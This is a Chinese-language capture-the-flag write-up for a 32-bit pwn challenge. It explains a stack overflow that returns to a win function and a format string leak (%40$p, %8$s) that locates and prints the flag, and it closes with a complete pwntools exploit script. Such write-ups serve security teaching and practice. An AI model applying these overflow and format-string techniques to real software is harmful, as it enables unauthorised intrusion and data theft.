SICTF PWN CANARY
这题表面上是canary但实际上和canary没什么关系
这里有一个栈溢出可以直接利用其返回win函数
然后可以通过这个printf(v2,v1)可以明显看出是格式化字符串漏洞,因此就可以泄露地址,这里是v4存储指向flag的地址,然后fgets(v3,65,v4) 传给v3,栈上平白无故是不会存v3的地址的,除非我们输入,但是栈的地址又是随机的,因此我们先要泄露一个地址根据偏移是得到那个地址,然后传入v2
通过动态调试可知
把这个地址泄露出来,然后通过偏移计算得到含有flag的地址,并传入,并看看在那里
再次栈溢出到win函数,通过调试我们发现
我们要的位置是在%8这里,因此我们输入%8$s 就可以泄露地址指向的字符,但是这里要注意,40$p 是4个字节,如果改成%8$s 就是8$s 就只有三个字节,这样会导致调出来是这样的
我们的地址是fff79d....少了1个字节,因此我们传入的时候要传入 %8$sb 多传入一个字母就可以了
于是我们得到flag
exp如下
#!/usr/bin/python3
from pwn import *
context(log_level='debug')
p=process("./pwn")
elf=ELF("./pwn")
win=0x080488DE
exit=0x0804EE60
def dbg():
gdb.attach(p)
pause()
main=elf.symbols['main']
payload=28*b'a'+p32(win)+p32(main)
#用28个a覆盖到ebp,然后把返回地址填做win的地址,然后后面跟着的main是win执行完的返回地址
offset=309
p.recvuntil("Do you really know Canary?\n")
p.sendline(payload)
p.sendline(b'%40$p')
addr=int(p.recv()[2:10],16)
flag=addr-offset
print(hex(flag))
payload2=28*b'a'+p32(win)+p32(main)
p.sendline(payload2)
payload1=b'%8$sa'+p32(flag)
p.sendline(payload1)
p.interactive()